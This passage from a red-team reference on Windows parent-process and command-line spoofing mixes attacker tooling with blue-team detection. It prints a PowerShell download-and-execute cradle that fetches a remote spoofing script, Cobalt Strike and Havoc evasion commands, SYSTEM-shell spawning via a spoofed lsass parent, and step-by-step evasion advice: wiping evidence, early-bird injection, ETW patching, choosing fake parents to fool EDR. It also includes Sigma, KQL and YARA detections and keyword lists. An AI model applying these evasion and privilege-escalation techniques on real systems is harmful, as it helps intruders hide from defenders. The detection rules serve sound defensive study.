  Author: Didier Stevens (earliest public PPID spoofing tool)
  Purpose: Launch any process with a specified parent PID
  Usage:   SelectMyParent.exe notepad.exe <PID_of_desired_parent>

  Download: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent/

11.2 psgetsys.ps1 — PowerShell PPID Spoofing

# [TOOL] psgetsys.ps1 — PowerShell PPID spoofing script
# Usage:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1')

# Spawn cmd.exe as child of winlogon.exe (PID: <winlogon_pid>)
[MyProcess]::CreateProcessFromParent(<winlogon_pid>, "cmd.exe", "")

# Example: Get SYSTEM shell via lsass PPID
$lsassPID = (Get-Process lsass).Id
[MyProcess]::CreateProcessFromParent($lsassPID, "cmd.exe", "")

11.3 Cobalt Strike — Argue and Spawnto

[TOOL] Cobalt Strike Beacon commands:

# Set the process beacon uses for post-ex operations
spawnto x64 %windir%\sysnative\svchost.exe -k netsvcs
spawnto x86 %windir%\syswow64\notepad.exe

# Argue — set fake arguments for spawned processes
argue <fake_args>
# Example:
argue notepad.exe C:\\Windows\\System32\\nothing.txt

# After setting argue, all beacon-spawned processes will:
# 1. Be created with fake_args (logged by EDR)
# 2. Beacon injects real shellcode via PEB manipulation
# 3. Process executes actual beacon/post-ex code

# PPID spoofing in Beacon
ppid <explorer_pid>

11.4 Havoc C2 — PPID Spoofing

# [TOOL] Havoc C2 — PPID and argument spoofing built-in
# In Havoc payload generator:
#   -p, --parent    Spoof victim process under a Parent Process ID
#   Use Demon agent with PPID option

# Demon agent config (Havoc):
{
    "Demon": {
        "Sleep":       10,
        "Jitter":      5,
        "TrustXForwardedFor": false,
        "Injection": {
            "Spawn64":    "%windir%\\system32\\notepad.exe",
            "Spawn32":    "%windir%\\syswow64\\notepad.exe",
        }
    }
}

11.5 Detection Tools (Blue Team)

# [TOOL] Sysmon — Process creation logging (Event ID 1)
# Config to capture parent-child relationships:
# sysmon -accepteula -i sysmonconfig.xml

# [TOOL] Process Hacker — Shows spoofed PPID (limitations vs ETW)
# Process Explorer — Shows spoofed PPID

# [TOOL] ETW-based detection — catches real parent
# SilkETW / ETWProcessMon2 / ProcMonXv2
# These use Microsoft-Windows-Kernel-Process ETW provider
# which captures REAL parent, not spoofed PEB value

# ETW monitoring command:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect

# [TOOL] ThreatCheck — find what triggers AV on spoofing loaders
ThreatCheck.exe -f ppid_spoof.exe -e Defender

# [TOOL] SilkETW — capture ETW events and detect spoofing
SilkETW.exe -t kernel -kk ProcessCreate -ot file -p C:\logs\etw.json

12. Detection & Evasion

12.1 What Blue Teams Look For

Static analysis: - NtQueryInformationProcess imported from ntdll.dll - ReadProcessMemory + WriteProcessMemory in same binary - CREATE_SUSPENDED flag used alongside ResumeThread - InitializeProcThreadAttributeList / UpdateProcThreadAttribute imports - PROC_THREAD_ATTRIBUTE_PARENT_PROCESS constant in binary

Behavioral analysis (what EDR monitors):

[DETECT] Sysmon Event ID 1 — Process Creation:
  ParentProcessId field is SPOOFED (shows chosen fake parent)
  Sysmon trusts the PEB — it CANNOT detect PPID spoof without kernel callbacks
  EDR rules based purely on Sysmon Event ID 1 CAN be evaded

[DETECT] ETW Microsoft-Windows-Kernel-Process:
  Captures REAL calling process, not PEB parent
  ETW is the ground truth for process lineage
  ProcMonXv2, SilkETW, EDRs with kernel callbacks use this

[DETECT] MITRE ATT&CK Detection Strategy DET0045:
  "Inconsistencies between process command-line arguments logged at
  creation time and subsequent process behavior"
  "Monitoring for processes launched in a suspended state, followed by
  memory modifications (WriteProcessMemory targeting the PEB)"
  "Anomalous behaviors from processes whose logged arguments do not
  align with executed activity (network connections, file writes, etc.)"

12.2 Sigma Rules for Detection

# sigma_ppid_spoof.yml — Detect PPID spoofing via suspicious parent-child
title: Suspicious PPID Spoofing Pattern
id: b5de0c9a-1234-4f73-a39b-9fa536f85f97
status: experimental
description: Detects processes with suspicious parent-child relationships
    that indicate PPID spoofing
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\explorer.exe'
            - '\svchost.exe'
    selection_child_suspicious:
        CommandLine|contains:
            - '-enc '
            - '-EncodedCommand'
            - 'IEX '
            - 'Invoke-Expression'
            - 'DownloadString'
            - 'bypass'
    condition: selection_parent and selection_child_suspicious
falsepositives:
    - Legitimate administrative scripts run from explorer
level: high
tags:
    - attack.defense_evasion
    - attack.t1134.004
    - attack.t1564.010
# sigma_cmdline_spoof.yml — Detect WriteProcessMemory targeting PEB
title: Possible Command Line Argument Spoofing via PEB Modification
id: c3f12b88-8765-4a12-b987-2d45e9a8c1f2
status: experimental
description: Detects use of NtQueryInformationProcess followed by
    WriteProcessMemory — classic PEB command-line spoofing pattern
logsource:
    category: process_access
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10   # Process access
        GrantedAccess|contains:
            - '0x1010'   # PROCESS_VM_WRITE | PROCESS_VM_READ
            - '0x1438'
            - '0x143a'
    filter_legit:
        SourceImage|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Program Files\'
    condition: selection and not filter_legit
level: medium
tags:
    - attack.defense_evasion
    - attack.t1564.010

12.3 KQL (Azure Sentinel / Defender XDR) Detection

// KQL: Detect suspicious process creation with CREATE_SUSPENDED pattern
// Azure Sentinel / Microsoft Defender XDR

DeviceProcessEvents
| where Timestamp > ago(1d)
| where ProcessCommandLine has_any ("-enc ", "IEX", "DownloadString", "bypass")
| where InitiatingProcessParentFileName in~ ("explorer.exe", "svchost.exe", 
    "winlogon.exe", "services.exe")
| where InitiatingProcessFileName !in~ ("cmd.exe", "powershell.exe", 
    "wscript.exe", "mshta.exe")
| project Timestamp, DeviceName, ProcessCommandLine,
    FileName, InitiatingProcessFileName,
    InitiatingProcessParentFileName, AccountName
| sort by Timestamp desc
// KQL: Detect PPID mismatch (requires Defender XDR telemetry)
DeviceProcessEvents
| where Timestamp > ago(1d)
| extend ExpectedParent = case(
    FileName =~ "powershell.exe", "cmd.exe|explorer.exe|conhost.exe",
    FileName =~ "cmd.exe", "explorer.exe|conhost.exe|powershell.exe",
    "any"
)
| where InitiatingProcessFileName !in (split(ExpectedParent, "|"))
    and ExpectedParent != "any"
| where ProcessCommandLine contains_any ("-enc", "iex", "bypass")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessParentFileName

12.4 YARA Rules

// yara_ppid_spoof.yar — Detect PPID spoofing binaries

rule PPID_Spoofing_Binary {
    meta:
        description = "Detects binaries using PPID spoofing APIs"
        author      = "Red Team Reference"
        date        = "2025-01-01"
        mitre       = "T1134.004"

    strings:
        $api1 = "InitializeProcThreadAttributeList" ascii
        $api2 = "UpdateProcThreadAttribute" ascii
        $api3 = "PROC_THREAD_ATTRIBUTE_PARENT_PROCESS" ascii wide
        $api4 = "EXTENDED_STARTUPINFO_PRESENT" ascii wide

        $const1 = { 00 00 02 00 00 00 00 00 }   // 0x00020000 LE (PPID attribute)

    condition:
        uint16(0) == 0x5A4D and  // PE file
        (
            ($api1 and $api2) or
            ($api1 and $api3) or
            $const1
        )
}

rule CmdLine_Spoofing_Binary {
    meta:
        description = "Detects command-line spoofing via PEB manipulation"
        author      = "Red Team Reference"
        date        = "2025-01-01"
        mitre       = "T1564.010"

    strings:
        $ntqip  = "NtQueryInformationProcess" ascii
        $rpm    = "ReadProcessMemory" ascii
        $wpm    = "WriteProcessMemory" ascii
        $susp   = "CommandLine" wide nocase
        $create = "CREATE_SUSPENDED" ascii
        $resume = "ResumeThread" ascii

    condition:
        uint16(0) == 0x5A4D and
        $ntqip and $rpm and $wpm and $resume
}

rule ETW_Disable_Via_EnvVar {
    meta:
        description = "Detects attempts to disable .NET ETW via env var"
        mitre       = "T1562.006"

    strings:
        $etw1 = "COMPlus_ETWEnabled" ascii wide nocase
        $etw2 = "COMPlus_ETWEnabled=0" ascii wide nocase
        $etw3 = { 43 00 4F 00 4D 00 50 00 6C 00 75 00 73 00 5F }  // COMPlus_ wide

    condition:
        uint16(0) == 0x5A4D and ($etw1 or $etw2 or $etw3)
}

12.5 Evasion Improvements

Against ETW kernel callbacks:

// ETW detects the real parent via kernel callbacks even if PEB is spoofed.
// Countermeasures:

// 1. Use NtCreateUserProcess directly (undocumented, bypasses some EDR hooks)
//    → EDR may not hook ntdll!NtCreateUserProcess as thoroughly as kernel32!CreateProcess

// 2. Process injection into existing process (no new process creation)
//    → Inject into already-running svchost.exe → no parent-child relationship at all

// 3. Thread hijacking (no new process)
//    → APC injection or thread context hijacking
//    → No new process = no process creation event

// 4. Early-bird injection with PPID spoof
//    → Create process suspended (spoofed parent)
//    → Inject via Early-bird APC (fires before EDR hooks initialize)
//    → Resume → EDR hooks not yet active when payload runs

// 5. Combine with ETW patching (patch EtwEventWrite in ntdll)
//    → Prevents process from emitting any ETW events at all
//    → But requires code injection / memory patching (detectable)

Against Sysmon EventID 1 CmdLine logging:

[EVASION] Strategies:
  1. Fake args must be LONGER than real args (buffer size constraint)
  2. Sleep briefly after CreateProcess → let EDR fully log fake args before overwrite
  3. Null-fill the fake args after writing real args (wipe the evidence)
  4. Use Process Hollowing instead: inject shellcode via ZwUnmapViewOfSection
  5. Reflective DLL injection: inject DLL directly, no new process needed

[OPSEC] Red flags to avoid:
  - Using CREATE_SUSPENDED on a process + immediately WriteProcessMemory
  - ReadProcessMemory to PEB address (specific offset patterns)
  - Same binary doing OpenProcess + ReadProcessMemory + WriteProcessMemory

13. MITRE ATT&CK Mapping

Sub-Technique ID Tactic Description
Hide Artifacts: Process Argument Spoofing T1564.010 Defense Evasion PEB overwrite to hide CmdLine args
Access Token Manipulation: Parent PID Spoofing T1134.004 Defense Evasion, Privilege Escalation Spoof PPID via CreateProcess attributes
Masquerading: Match Legitimate Name or Location T1036.005 Defense Evasion Disguise process as legitimate
Indicator Removal: Clear Windows Event Logs T1562.006 Defense Evasion ETW disable via COMPlus_ETWEnabled
Process Injection T1055 Defense Evasion, Privilege Escalation Inject code into remote process
MITRE ATT&CK Detection Strategy DET0045:
  "Inconsistencies between process command-line arguments logged at
  creation time and subsequent process behavior."

  Detection methods:
  - Monitor WriteProcessMemory targeting PEB regions
  - Compare CmdLine from Sysmon Event ID 1 vs actual process behavior
  - Use ETW kernel provider to get real parent-child relationships
  - Alert on CREATE_SUSPENDED + ResumeThread with intermediate WPM

14. Comparison Matrix

Technique Complexity OPSEC What's Spoofed Requires Admin EDR Bypass
CmdLine Arg Spoof (PEB) Medium Medium Process command line No Medium (Sysmon sees fake)
PPID Spoofing Medium High Parent-child tree No (usually) High (Sysmon sees fake parent)
Env Var Spoof (PEB) Medium Medium Environment vars + ETW No High (disables .NET ETW)
CurrentDirectory Spoof Low Low Working directory display No Low
Window Title Spoof Low Low Window title in tools No Low
Combined (PPID + CmdLine) High Very High Parent + CmdLine + EnvVar No Very High
VBA Office Macro Spoof High High Parent + CmdLine in macro No High
ETW Disable via EnvVar Low High .NET telemetry events No Very High

Key detection landscape:

Tool Sees PPID Spoof Sees CmdLine Spoof Real Parent Real CmdLine
Sysmon (Event ID 1) ❌ (trusts PEB) ❌ (trusts PEB) ❌ ❌
Process Hacker (live) ❌ (trusts PEB) ✅ (re-reads PEB) ❌ ✅
ETW Kernel-Process ✅ ✅ ✅ ✅
ProcMonXv2 (ETW) ✅ ✅ ✅ ✅
EDR with kernel callbacks ✅ ✅ ✅ ✅

15. Cheat Sheet

Quick Workflow — PPID Spoof

# Step 1: Find PID of target parent
Get-Process explorer | Select-Object Id

# Step 2: Verify required access (PROCESS_CREATE_PROCESS = 0x80)
# No admin needed for explorer.exe / notepad.exe etc.
# Admin needed for lsass.exe / winlogon.exe (for privilege escalation)

# Step 3: Compile and run
cl.exe ppid_spoof.cpp /Fe:ppid_spoof.exe
.\ppid_spoof.exe

# Step 4: Verify in Process Hacker
# → New process should show explorer.exe as parent

# Step 5: Confirm Sysmon sees the spoof
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
    Where-Object { $_.Id -eq 1 } |
    Select-Object -Last 5 |
    Format-List TimeCreated, Message

Quick Workflow — CmdLine Spoof

# Step 1: Ensure FAKE args >= REAL args in byte length
# FAKE: "notepad.exe C:\Windows\System32\kernel32.dll"  (46 chars)
# REAL: "notepad.exe C:\malicious.txt"                  (28 chars) ← OK

# Step 2: Compile
x86_64-w64-mingw32-g++ cmdline_spoof.cpp -o cmdline_spoof.exe

# Step 3: Run and verify
.\cmdline_spoof.exe

# Step 4: Check Sysmon log (should show FAKE args)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
    Where-Object { $_.Id -eq 1 } | Select-Object -First 3 |
    Format-List TimeCreated, Message

# Step 5: Check live in Process Hacker (should show REAL args — re-reads PEB)

API Quick Reference

PPID Spoofing APIs:
  OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPID)
  InitializeProcThreadAttributeList(NULL, 1, 0, &size)   // size query
  InitializeProcThreadAttributeList(attrList, 1, 0, &size)  // init
  UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...)
  CreateProcess(..., EXTENDED_STARTUPINFO_PRESENT, ..., &STARTUPINFOEX, ...)
  DeleteProcThreadAttributeList(attrList)

CmdLine Spoofing APIs:
  CreateProcess(fakeArgs, CREATE_SUSPENDED, ...)
  GetProcAddress(ntdll.dll, "NtQueryInformationProcess")
  NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, ...)
  ReadProcessMemory(hProc, pbi.PebBaseAddress, &peb, ...)
  ReadProcessMemory(hProc, peb.ProcessParameters, &pp, ...)
  WriteProcessMemory(hProc, pp.CommandLine.Buffer, realArgs, ...)
  ResumeThread(hThread)

Key Offsets (x64):
  PEB.ProcessParameters           → offset 0x20
  RTL_USER_PROCESS_PARAMETERS.CommandLine.Length   → offset 0x70
  RTL_USER_PROCESS_PARAMETERS.CommandLine.Buffer   → offset 0x78
  RTL_USER_PROCESS_PARAMETERS.Environment          → offset 0x80
  RTL_USER_PROCESS_PARAMETERS.CurrentDirectory     → offset 0x38

Best Fake Parents by Scenario

Goal: Make PowerShell look benign
  → Fake parent: explorer.exe   (users run PowerShell from explorer all the time)

Goal: Make cmd.exe look benign
  → Fake parent: conhost.exe / svchost.exe / explorer.exe

Goal: Make rundll32.exe look benign
  → Fake parent: svchost.exe -k netsvcs (matches real Windows pattern)

Goal: Make mshta.exe look benign
  → Fake parent: svchost.exe / explorer.exe

Goal: Privilege escalation via token inheritance
  → Fake parent: lsass.exe / winlogon.exe / services.exe (requires admin)
  → New process inherits access token from SYSTEM parent

⚠ AVOID obviously wrong parents:
  → lsass.exe → notepad.exe (lsass never spawns user apps)
  → spoolsv.exe → chrome.exe
  → csrss.exe → cmd.exe (highly suspicious, heavily monitored)

Decision Tree

Need to evade process-based EDR detection?
│
├─ EDR uses parent-child behavioral rules?
│   └─ YES → PPID Spoofing (§4)
│             Choose realistic parent (explorer.exe)
│             Combine with CmdLine spoof for max effect
│
├─ EDR logs command-line arguments?
│   └─ YES → CmdLine Arg Spoofing (§3)
│             Fake args must be >= real args length
│             Sleep after spawn → let EDR log fake args first
│
├─ .NET tool detected via ETW assembly loads?
│   └─ YES → COMPlus_ETWEnabled=0 via env var spoof (§5)
│             Or: set in parent env before spawning child
│             Disables CLR ETW provider registration entirely
│
├─ Need all three?
│   └─ YES → Combined spoof (§8)
│             PPID spoof (believable parent) +
│             CmdLine spoof (innocent logged args) +
│             Env var spoof (disable .NET ETW) +
│             Sleep for timing (let EDR capture fake args)
│
└─ Want to use in Office macro?
    └─ YES → VBA implementation (§9)
              Combine PPID + CmdLine in VBA P/Invoke
              Looks like: explorer.exe → powershell.exe
              NOT: winword.exe → powershell.exe

References & Tools

Core Research: - Adam Chester (@xpn) — "How to Argue like Cobalt Strike" — xpnsec.com — the seminal post - Will Burgess — "Red Teaming in the EDR Age" (Wild West Hackin' Fest 2018) - Didier Stevens — SelectMyParent (first public PPID spoof tool, 2009) - NVISO Labs — "The Return of the Spoof Part 2: Command Line Spoofing" - Christophe Tafani-Dereeper — "Building an Office Macro to Spoof Process Parent and CmdLine" - Adam Chester (@xpn) — "Hiding Your .NET — COMPlus_ETWEnabled"

Tools: - SelectMyParent — https://blog.didierstevens.com (original PPID tool) - RustRedOps — https://github.com/joaoviictorti/RustRedOps (Rust implementations) - Procmon-Process-Argument-Spoofer — https://github.com/AbdouRoumi/Procmon-Process-Argument-Spoofer - cmdlinespoofer — https://github.com/5l1v3r1/cmdlinespoofer (C# version) - yo-yo-yo-jbo/commandline_spoofing — https://github.com/yo-yo-yo-jbo/commandline_spoofing - psgetsys.ps1 — PowerShell PPID spoofing - SilkETW — https://github.com/fireeye/SilkETW (ETW-based detection) - ProcMonXv2 — ETW-based real parent detection

Detection: - MITRE ATT&CK T1564.010 — Hide Artifacts: Process Argument Spoofing - MITRE ATT&CK T1134.004 — Access Token Manipulation: Parent PID Spoofing - MITRE ATT&CK DET0045 — Detection Strategy for Process Argument Spoofing - Sysmon (Event ID 1) — Process creation with CmdLine + ParentProcessId - Microsoft-Windows-Kernel-Process ETW provider — Real process lineage

Further Reading: - Red Team Notes (ired.team) — PPID Spoofing walkthrough - Unprotect.it — Process Argument Spoofing technique entry - TrustedSec — "PPID Spoofing: It's Really this Easy to Fake Your Parent" - Hackers Terminal — "Parent PID Spoofing: How to Detect with ETW & SilkETW"


← Malware development top ↑